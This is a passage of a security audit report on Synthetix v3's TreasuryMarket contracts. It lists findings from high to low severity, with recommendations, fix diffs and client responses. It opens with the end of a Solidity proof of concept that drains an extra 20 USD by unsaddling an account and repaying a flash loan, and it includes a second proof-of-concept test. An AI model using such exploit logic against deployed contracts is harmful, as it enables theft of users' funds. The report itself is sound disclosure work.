</span></span><span class="line"><span class="cl"> <span class="n">IERC721</span><span class="p">(</span><span class="n">v3System</span><span class="p">.</span><span class="n">getAccountTokenAddress</span><span class="p">()).</span><span class="n">approve</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">market</span><span class="p">),</span> <span class="mi">1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">unsaddle</span><span class="p">(</span><span class="mi">1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Withdraw our collateral and an additional 20 USD
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="c1">// repay flash loan, so profit is 20 USD - 1 USD = 19 USD
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">v3System</span><span class="p">.</span><span class="n">withdraw</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">100</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">withdraw</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">usdToken</span><span class="p">),</span> <span class="mi">20</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre><h3 id="recommendation-2">Recommendation</h3>
<p>A possible solution would be to capacity lock the market except during <code>unsaddle()</code>. For example, <code>minimumCredit()</code> should return <code>type(uint256).max</code> by default; however, before the call to <code>delegateCollateral()</code> in <code>unsaddle()</code>, it should be set to zero and reset afterward.</p>
<h3 id="client-response-2">Client response</h3>
<p>Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/75d8b9665c7666d4905e4d800472a0bc3c818461">75d8b96</a>.</p>
<a name="IO-SIP420-004"></a><h2 id="io-sip420-004-unfair-loans" class="break-before"><strong>IO-SIP420-004</strong> Unfair loans</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-closed">Closed</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L144">TreasuryMarket.sol#L144</a></td>
</tr>
</tbody>
</table>
<p>If <code>rebalance()</code> is called after <code>delegateCollateral()</code> but before <code>saddle()</code>, an account will be indebted with artificial debt, and a large loan will be created when one should not exist. Since <code>rebalance()</code> and <code>saddle()</code> are permissionless functions, malicious actors could abuse this to lock stakers into the pool.</p>
<h3 id="recommendation-3">Recommendation</h3>
<p>A function that calls <code>delegateCollateral()</code> and <code>saddle()</code> atomically should be introduced. A similar function should be added for <code>migrateDelegation()</code> and <code>saddle()</code>.</p>
<h3 id="client-response-3">Client response</h3>
<p>This issue is indeed important to note. The frontend will ensure that <code>saddle()</code> is called immediately after <code>delegateCollateral()</code> for deposits to this pool.</p>
<a name="IO-SIP420-025"></a><h2 id="io-sip420-025-incorrect-for-loop-conditions" class="break-before"><strong>IO-SIP420-025</strong> Incorrect for loop conditions</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/95f2f3fdc29ba6f3ac32c00be2a738106f610a15/markets/treasury-market/contracts/TreasuryMarket.sol#L551">TreasuryMarket.sol#L551</a>, <a href="https://github.com/Synthetixio/synthetix-v3/blob/95f2f3fdc29ba6f3ac32c00be2a738106f610a15/markets/treasury-market/contracts/TreasuryMarket.sol#L554">TreasuryMarket.sol#L554</a></td>
</tr>
</tbody>
</table>
<p>The two <code>for</code> loops used to remove deposit amounts in <code>TreasuryMarket::setDepositRewardConfigurations()</code> use incorrect test conditions. This could result in old deposit amounts not being removed and/or new ones not being added.</p>
<h3 id="recommendation-4">Recommendation</h3>
<p>The below diff shows the correct test conditions to resolve this issue:</p>
<pre><code>diff --git a/markets/treasury-market/contracts/TreasuryMarket.sol b/markets/treasury-market/contracts/TreasuryMarket.sol
index c4a5ee85..479192da 100644
--- a/markets/treasury-market/contracts/TreasuryMarket.sol
+++ b/markets/treasury-market/contracts/TreasuryMarket.sol
@@ -548,10 +548,11 @@ contract TreasuryMarket is ITreasuryMarket, Ownable, UUPSImplementation, IMarket
depositRewardConfigurations[i].penaltyStart = newDrcs[i].penaltyStart;
depositRewardConfigurations[i].penaltyEnd = newDrcs[i].penaltyEnd;
- for (uint256 k = 0; k < depositRewardConfigurations[i].amounts.length; k++) {
+ uint256 amountsLength = depositRewardConfigurations[i].amounts.length;
+ for (uint256 k = 0; k < amountsLength; k++) {
depositRewardConfigurations[i].amounts.pop();
}
- for (uint256 k = 0; k < newDrcs.length; k++) {
+ for (uint256 k = 0; k < newDrcs[i].amounts.length; k++) {
depositRewardConfigurations[i].amounts.push();
depositRewardConfigurations[i].amounts[k] = newDrcs[i].amounts[k];
}
</code></pre>
<h3 id="client-response-4">Client response</h3>
<p>Deposit rewards removed in <a href="https://github.com/Synthetixio/synthetix-v3/pull/2375/commits/b9c70f11c42904f778e405a6ec67fc87f8a435db">b9c70f1</a>.</p>
<a name="IO-SIP420-026"></a><h2 id="io-sip420-026-incorrect-loan-reset" class="break-before"><strong>IO-SIP420-026</strong> Incorrect loan reset</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-closed">Closed</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/2d595c54472705c9173e0666acf32f3ffc799952/markets/treasury-market/contracts/TreasuryMarket.sol#L809-L817">TreasuryMarket.sol#L809-L817</a></td>
</tr>
</tbody>
</table>
<p>When <code>TreasuryMarket::updateAuxToken()</code> is called, the value returned by <code>TreasuryMarket::_loanLastUpdateTime()</code> becomes the timestamp of the newly pushed <code>AuxTokenRequiredRatio</code>. This value remains unchanged for any accounts that do not deposit Aux tokens going forward, and on any subsequent calls to <code>updateAuxToken()</code></p>
<p>An edge case exists where this could result in an account’s loan period being unexpectedly reset. The following scenario illustrates this:</p>
<ol>
<li>An account has deposited sufficient aux tokens, such that its debt is decaying as normal</li>
<li>A call to <code>updateAuxToken()</code> is made with aux token ratio requirement that is lower than what the account has deposited. The account’s aux deposits remain sufficient, and its last update time, as returned from <code>_loanLastUpdateTime()</code>, is the timestamp of the newly pushed <code>AuxTokenRequiredRatio</code>.</li>
<li>A call to <code>updateAuxToken()</code> with a higher required ratio than what the account currently meets is made. If sufficient time has passed, this could result in the account exceeding the <code>auxResetTime</code> since its last update time is unchanged.</li>
</ol>
<p>Similarly, it is also possible for an account to bypass having its loan period reset due to insufficient staking. Specifically, if required ratios are raised and then lowered later, the period of time in which an account was insufficient would not be accounted for. The diffs linked below contain a set of tests to illustrate the above issues:</p>
<p><a href="https://gist.github.com/iosiro-security/cdaee0fccba4fc09cdeac8c2bcf46b23">https://gist.github.com/iosiro-security/cdaee0fccba4fc09cdeac8c2bcf46b23</a></p>
<h3 id="recommendation-5">Recommendation</h3>
<p>A recommended fix can be found in the gist linked below:</p>
<p><a href="https://gist.github.com/iosiro-security/cdaee0fccba4fc09cdeac8c2bcf46b23">https://gist.github.com/iosiro-security/cdaee0fccba4fc09cdeac8c2bcf46b23</a></p>
<h3 id="client-response-5">Client response</h3>
<p>Partially fixed in <a href="https://github.com/Synthetixio/synthetix-v3/pull/2373/commits/e6b5a6f9d65719d7c637b3f84fbc58faccfe66b1">e6b5a6f</a>.
Synthetix indicated that the second scenario would be mitigated against by never lowering the required ratios.</p>
<a name="IO-SIP420-027"></a><h2 id="io-sip420-027-rewards-increase-market-withdrawable-usd" class="break-before"><strong>IO-SIP420-027</strong> Rewards increase market withdrawable USD</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/4098fa41399e677ffab2c2fa4ffac5564cd3982d/markets/treasury-market/contracts/TreasuryMarket.sol#L470-L479">TreasuryMarket.sol#L470-L479</a></td>
</tr>
</tbody>
</table>
<p>The rewards deposited as market collateral increase the market withdrawable USD. This would allow the Treasury to mint more USD than intended. In the worst case, the Treasury could cause the vault to become liquidatable.</p>
<h3 id="recommendation-6">Recommendation</h3>
<p>A possible solution would be to limit the treasury's ability to mint only up to the amount of artificial debt.</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">amount</span> <span class="o">></span> <span class="kt">uint256</span><span class="p">(</span><span class="n">artificialDebt</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nb">revert</span> <span class="n">InsufficientExcessDebt</span><span class="p">(</span><span class="kt">int256</span><span class="p">(</span><span class="n">amount</span><span class="p">),</span> <span class="n">artificialDebt</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre><h3 id="client-response-6">Client response</h3>
<p>Fixed in <a href="https://github.com/Synthetixio/synthetix-v3/commit/bf643ad495d761dce163ddd6327a7c67a46bcc87">bf643ad</a>.</p>
<a name="IO-SIP420-005"></a><h2 id="io-sip420-005-incorrect-collateralization-ratio-check" class="break-before"><strong>IO-SIP420-005</strong> Incorrect collateralization ratio check</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-medium">Medium</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/protocol/synthetix/contracts/modules/core/VaultModule.sol#L228">VaultModule.sol#L228</a></td>
</tr>
</tbody>
</table>
<p>In <code>migrateDelegation()</code>, the account's collateralization ratio is checked against the source pool's issuance ratio instead of the collateral type's liquidation ratio. Some pools prevent direct issuance against the pool by setting the pool-specific issuance ratio to <code>type(uint256).max</code>. This will prevent migration from such pools, as the issuance ratio check will always fail.</p>
<h3 id="recommendation-7">Recommendation</h3>
<p>The account's collateralization ratio should be checked against the liquidation ratio of the collateral type, which is not pool-specific.</p>
<h3 id="client-response-7">Client response</h3>
<p>Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/001a2e69143d49c684baaa55c58411e3ff9094b2">001a2e6</a>.</p>
<a name="IO-SIP420-006"></a><h2 id="io-sip420-006-initial-delegation-race-condition" class="break-before"><strong>IO-SIP420-006</strong> Initial delegation race condition</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-medium">Medium</td>
<td class="status-closed">Closed</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L144">TreasuryMarket.sol#L144</a></td>
</tr>
</tbody>
</table>
<p>If two accounts delegate to the vault at the time of the market's deployment, the larger of the two accounts will need to be saddled first. If precisely the same amount of collateral is delegated, a third account with collateral greater than the sum of the other accounts will be required.</p>
<p>A malicious actor could prevent legitimate accounts from calling <code>saddle()</code> by delegating with many accounts.</p>
<h3 id="recommendation-8">Recommendation</h3>
<p>The issue is similar to that noted in <a href="#IO-SIP420-004">IO-SIP420-004</a> and would also be addressed by ensuring delegation and saddling are performed atomically.</p>
<h3 id="client-response-8">Client response</h3>
<p>The risk was deemed acceptable as the issue is only present during market deployment.</p>
<a name="IO-SIP420-028"></a><h2 id="io-sip420-028-loan-info-not-committed-to-storage" class="break-before"><strong>IO-SIP420-028</strong> Loan info not committed to storage</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-medium">Medium</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/TreasuryMarket.sol#L440-L446">TreasuryMarket.sol#L440-L446</a></td>
</tr>
</tbody>
</table>
<p>The changes to a loan duration in <a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/TreasuryMarket.sol#L440-L446">TreasuryMarket::setOverrideLoanDuration()</a> are not committed back to storage. Consequently, calling the function has no effect.</p>
<h3 id="recommendation-9">Recommendation</h3>
<p>The changes to loan duration should be committed to storage.</p>
<h3 id="client-response-9">Client response</h3>
<p>Fixed in <a href="https://github.com/Synthetixio/synthetix-v3/pull/2375/commits/f11229998b09ea0dee53eabdb0b85ba714df67fa">f112299</a>.</p>
<a name="IO-SIP420-007"></a><h2 id="io-sip420-007-pool-collateral-limits-not-checked" class="break-before"><strong>IO-SIP420-007</strong> Pool collateral limits not checked</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/protocol/synthetix/contracts/modules/core/VaultModule.sol#L160">VaultModule.sol#L160</a></td>
</tr>
</tbody>
</table>
<p>The <code>migrateDelegation()</code> function does not perform the same <code>checkPoolCollateralLimit()</code> check that <code>delegateCollateral()</code> does. This could allow a user to bypass the pool's collateral limits by delegating first to another pool and then migrating.</p>
<h3 id="recommendation-10">Recommendation</h3>
<p>The <code>checkPoolCollateralLimit()</code> check should be added to <code>migrateDelegation()</code>.</p>
<h3 id="client-response-10">Client response</h3>
<p>Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/dd76f17849ff4a8895d1eb755179b83d19929294">dd76f17</a>.</p>
<a name="IO-SIP420-008"></a><h2 id="io-sip420-008-arithmetic-simplification" class="break-before"><strong>IO-SIP420-008</strong> Arithmetic simplification</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L246">TreasuryMarket.sol#L246</a></td>
</tr>
</tbody>
</table>
<p>The <code>neededToRepay</code> calculation can be simplified, with the added benefit of avoiding a potential division by zero and reducing the likelihood of excess USD being withdrawn.</p>
<p>Consider the following simplification:</p>
<pre><code>T = D / (1 - A / V)
T = D / ((V - A) / V)
T = D * V / (V - A)
</code></pre>
<h3 id="recommendation-11">Recommendation</h3>
<p>Replace the <code>neededToRepay</code> calculation with the following simplified version.</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">neededToRepay</span> <span class="o">=</span> <span class="n">accountDebt</span> <span class="o">*</span> <span class="kt">int256</span><span class="p">(</span><span class="n">vaultCollateral</span><span class="p">)</span> <span class="o">/</span> <span class="kt">int256</span><span class="p">(</span><span class="n">vaultCollateral</span> <span class="o">-</span> <span class="n">accountCollateral</span><span class="p">);</span>
</span></span></code></pre><p>Fuzz testing did not yield any combination of side market debt, vault collateral, or account collateral values that would cause <code>delegateCollateral()</code> to revert due to leftover debt.</p>
<h3 id="client-response-11">Client response</h3>
<p>Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/75d8b9665c7666d4905e4d800472a0bc3c818461">75d8b96</a> as part of the remediation for <a href="#IO-SIP420-001">IO-SIP420-001</a>. The <code>neededToRepay</code> calculation was removed as the pool's artificial debt is decreased before calling <code>withdrawMarketUSD()</code>.</p>
<a name="IO-SIP420-009"></a><h2 id="io-sip420-009-separation-of-concerns" class="break-before"><strong>IO-SIP420-009</strong> Separation of concerns</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol">TreasuryMarket.sol</a></td>
</tr>
</tbody>
</table>
<p>The only privileged role defined for the market is the owner. This means the Treasury will be responsible for smart contract upgrades, configuration changes, and debt management. Management of the market's debt (mint and burn) should be separated from complete control over the proxy implementation and configuration.</p>
<h3 id="recommendation-12">Recommendation</h3>
<p>A separate <code>onlyTreasury</code> access modifier should be introduced, allowing the Treasury to withdraw and burn USD to itself. The <code>onlyOwner</code> permission should be assigned to the protocol owner multi-sig and not the Treasury.</p>
<h3 id="client-response-12">Client response</h3>
<p>Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/a6f50bae185886b9e80840bc4d49ea2e4496fd2d">a6f50ba</a>.</p>
<a name="IO-SIP420-010"></a><h2 id="io-sip420-010-large-accounts-cannot-unsaddle" class="break-before"><strong>IO-SIP420-010</strong> Large accounts cannot unsaddle</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-closed">Closed</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L248">TreasuryMarket.sol#L248</a></td>
</tr>
</tbody>
</table>
<p>During <code>unsaddle()</code>, additional debt equal to <code>neededToRepay</code> is distributed to the vault via <code>withdrawMarketUsd()</code>. If during <code>unsaddle()</code>, <code>vaultDebt + neededToRepay</code> exceeds the liquidation threshold, an account will not be able to unsaddle even if the vault's debt would be less than the liquidation threshold after rebalancing.</p>
<p>The following proof of concept illustrates this issue:</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="kd">function</span> <span class="nf">test_unsaddleWhale</span><span class="p">()</span> <span class="k">public</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">saddle</span><span class="p">(</span><span class="n">accountId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">delegateCollateral</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="n">accountId</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="n">poolId</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span>
</span></span><span class="line"><span class="cl"> <span class="mi">50</span> <span class="kc">ether</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="mi">1</span> <span class="kc">ether</span>
</span></span><span class="line"><span class="cl"> <span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">saddle</span><span class="p">(</span><span class="n">accountId</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">IERC721</span><span class="p">(</span><span class="n">v3System</span><span class="p">.</span><span class="n">getAccountTokenAddress</span><span class="p">()).</span><span class="n">approve</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">market</span><span class="p">),</span> <span class="n">accountId</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">unsaddle</span><span class="p">(</span><span class="n">accountId</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">// Reverts
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre><h3 id="recommendation-13">Recommendation</h3>
<p>An alternative approach would be to change <code>AssociateDebtModule::associateDebt(...)</code> to accept a signed value for the amount of debt assigned to the specified account. This would allow the debt to be directly reduced, avoiding the need to call <code>withdrawMarketUsd()</code> or <code>burnUsd()</code>.</p>
<h3 id="update">Update</h3>
<p>The changes introduced to remediate <a href="#IO-SIP420-001">IO-SIP420-001</a> decreased the likelihood of this issue occurring. However, as <code>withdrawMarketUsd</code> decreases the market's credit capacity, it is possible that the market's <code>creditCapacity</code> becomes less than zero when unsaddling. For very large accounts, this will cause a <code>CapacityLocked</code> revert.</p>
<h3 id="client-response-13">Client response</h3>
<p>The risk was deemed acceptable given the proportional size of the account needed to encounter this revert.</p>
<a name="IO-SIP420-011"></a><h2 id="io-sip420-011-treasury-can-mint-more-than-target-c-ratio" class="break-before"><strong>IO-SIP420-011</strong> Treasury can mint more than target C-ratio</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-closed">Closed</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L363">TreasuryMarket.sol#L363</a></td>
</tr>
</tbody>
</table>
<p>If a side market has a significant spike in <code>reportedDebt</code> before the Treasury withdraws a substantial amount of USD, the vault's collateralization ratio can fall below the target collateralization ratio.</p>
<h3 id="recommendation-14">Recommendation</h3>
<p>The vault's debt chain should be updated to prevent the treasury market from creating more debt than permitted. This can be achieved by calling <code>rebalancePool()</code> at the start of <code>mintTreasury()</code>.</p>
<h3 id="client-response-14">Client response</h3>
<p>The risk was deemed acceptable as its realisation would require the Treasury council to act maliciously during a period of volatility in the side market's debt. The issue is further mitigated as anyone can call <code>rebalance()</code>, minimizing the excess capacity the market would have to issue USD against.</p>
<a name="IO-SIP420-012"></a><h2 id="io-sip420-012-last-account-unable-to-unsaddle" class="break-before"><strong>IO-SIP420-012</strong> Last account unable to unsaddle</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-closed">Closed</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L233">TreasuryMarket.sol#L233</a></td>
</tr>
</tbody>
</table>
<p>The last account to call <code>unsaddle()</code> will always encounter a "no surplus collateral to fund exit" revert.</p>
<h3 id="recommendation-15">Recommendation</h3>
<p>The market can be initialized with an account that delegates a minimal amount of collateral, ensuring that the last delegator can exit the system.</p>
<h3 id="client-response-15">Client response</h3>
<p>The Treasury will be responsible for ensuring the system can unwind if necessary.</p>
<a name="IO-SIP420-013"></a><h2 id="io-sip420-013-incorrect-target-debt" class="break-before"><strong>IO-SIP420-013</strong> Incorrect target debt</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L163">TreasuryMarket.sol#L163</a></td>
</tr>
</tbody>
</table>
<p>The assumption that when <code>artificialDebt == 0</code>, it is the first account to be saddled does not hold under all conditions. If side markets incur significant debt, <code>artificialDebt</code> could be reset to 0. The next account calling saddle will then encounter a revert, as the target debt will be calculated based on the vault's collateral, not the account's collateral.</p>
<p>For a specific range of values, the calculation will not revert, but could result in the account having a collateralization ratio just above the liquidation threshold.</p>
<h3 id="recommendation-16">Recommendation</h3>
<p>Instead of considering whether <code>artificialDebt == 0</code>, the logic should be adapted for when <code>vaultCollateralValue == accountCollateralValue</code>.</p>
<h3 id="client-response-16">Client response</h3>
<p>Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/6be4931f76160469020605304785be55b242d2e5">6be4931</a>. A <code>totalSaddledCollateral</code> storage variable was introduced, and the logic was updated to use it instead of <code>artificialDebt</code>.</p>
<a name="IO-SIP420-014"></a><h2 id="io-sip420-014-missing-validation" class="break-before"><strong>IO-SIP420-014</strong> Missing validation</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L135">TreasuryMarket.sol#L135</a></td>
</tr>
</tbody>
</table>
<p>The protocol owner can set the target collateralization ratio below the liquidation ratio, which could result in the vault becoming liquidatable.</p>
<h3 id="recommendation-17">Recommendation</h3>
<p>Add validation to <code>setTargetCRatio()</code> to ensure that the ratio is greater than the collateral type's liquidation ratio, e.g.</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="n">ratio</span> <span class="o">>=</span> <span class="n">v3System</span><span class="p">.</span><span class="n">getCollateralConfiguration</span><span class="p">(</span><span class="n">collateralType</span><span class="p">).</span><span class="n">liquidationRatioD18</span>
</span></span></code></pre><h3 id="client-response-17">Client response</h3>
<p>Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/7d6f58ddbfb69fdde4f60fb2f3f50d6b3a471419">7d6f58d</a>.</p>
<a name="IO-SIP420-029"></a><h2 id="io-sip420-029-deposit-rewards-not-nullified" class="break-before"><strong>IO-SIP420-029</strong> Deposit rewards not nullified</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/TreasuryMarket.sol#L369">TreasuryMarket.sol#L369</a></td>
</tr>
</tbody>
</table>
<p>When restoring a position, the position’s debt is set as a loan amount through <code>adjustLoan()</code> after the account has been saddled. However, the deposit rewards configured on saddling are not nullified in <code>adjustLoan()</code>. As such, restored positions would have rewards accrued in addition to a decaying loan amount.</p>
<h3 id="recommendation-18">Recommendation</h3>
<p>Any configured rewards should be removed in <code>adjustLoan()</code> when increasing the loan amount. This issue does not currently pose a risk as deposit rewards are not yet configured. However, this fix should be implemented if the ability to increase a loan amount is to be kept in the contract long-term.</p>
<h3 id="client-response-18">Client response</h3>
<p>Deposit rewards removed in <a href="https://github.com/Synthetixio/synthetix-v3/pull/2375/commits/b9c70f11c42904f778e405a6ec67fc87f8a435db">b9c70f1</a>.</p>
<a name="IO-SIP420-030"></a><h2 id="io-sip420-030-auxtokeninfo-not-cleared-on-unsaddle" class="break-before"><strong>IO-SIP420-030</strong> AuxTokenInfo not cleared on unsaddle</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/2d595c54472705c9173e0666acf32f3ffc799952/markets/treasury-market/contracts/TreasuryMarket.sol#L250">TreasuryMarket.sol#L250</a></td>
</tr>
</tbody>
</table>
<p>An account’s <code>AuxTokenInfo</code> mapping entry is not cleared when it’s unsaddled. Should the account re-saddle with debt, this would result in the previous <code>timeInsufficient</code> value being applied and the loan repayment period being affected.</p>
<p>Furthermore, depending on when staked tokens are returned to users, the token amount stored in <code>AuxTokenInfo</code> may no longer be accurate on the account re-saddling, potentially resulting in the account debt being decayed while the account is insufficiently staked.</p>
<h3 id="recommendation-19">Recommendation</h3>
<p>The <code>AuxTokenInfo</code> mapping entry for an account should be cleared when it’s unsaddled.</p>
<h3 id="client-response-19">Client response</h3>
<p>Fixed in <a href="https://github.com/Synthetixio/synthetix-v3/pull/2373/commits/e6b5a6f9d65719d7c637b3f84fbc58faccfe66b1">e6b5a6f</a>.</p>
<a name="IO-SIP420-031"></a><h2 id="io-sip420-031-vested-rewards-dos" class="break-before"><strong>IO-SIP420-031</strong> Vested rewards DoS</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/4098fa41399e677ffab2c2fa4ffac5564cd3982d/markets/treasury-market/contracts/TreasuryMarket.sol#L447">TreasuryMarket.sol#L447</a></td>
</tr>
</tbody>
</table>
<p>The owner can remove the reward configuration of a token, preventing accounts from withdrawing rewards already vested.</p>
<h3 id="recommendation-20">Recommendation</h3>
<p><code>setDepositRewardConfigurations()</code> should validate that <code>availableDepositRewards</code> for a token is zero before removing it from the list.</p>
<h3 id="client-response-20">Client response</h3>
<p>Fixed in <a href="https://github.com/Synthetixio/synthetix-v3/commit/f89cb5f9224f7acf719d63c3138905133bc63e96">f89cb5f</a>.</p>
<a name="IO-SIP420-032"></a><h2 id="io-sip420-032-zero-duration-rewards" class="break-before"><strong>IO-SIP420-032</strong> Zero duration rewards</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/4098fa41399e677ffab2c2fa4ffac5564cd3982d/markets/treasury-market/contracts/TreasuryMarket.sol#L602">TreasuryMarket.sol#L602</a></td>
</tr>
</tbody>
</table>
<p>If a reward duration is zero, unsaddling will revert due to a division by zero in <code>_repaymentPenalty()</code>. This is due to <code>loanCompletionPercentage</code> being set to zero, rather than <code>1 ether</code>, when the duration is zero.</p>
<p>This issue does not affect loans, as a <code>duration</code> of zero would result in a loan that never decays and is correctly handled by <code>adjustLoan()</code></p>
<p>If rewards are zero-duration, atomic saddling and unsaddling should not be possible to farm rewards. It is worth adding an explicit test for this scenario:</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="kd">function</span> <span class="nf">test_rewardsWithZeroDuration</span><span class="p">()</span> <span class="k">public</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kt">bytes32</span><span class="p">[]</span> <span class="k">memory</span> <span class="n">parents</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">bytes32</span><span class="p">[](</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">ITreasuryMarket</span><span class="p">.</span><span class="n">DepositRewardConfiguration</span><span class="p">[]</span> <span class="k">memory</span> <span class="n">dcr</span> <span class="o">=</span> <span class="k">new</span> <span class="n">ITreasuryMarket</span><span class="p">.</span><span class="n">DepositRewardConfiguration</span><span class="p">[](</span><span class="mi">2</span><span class="p">);</span>
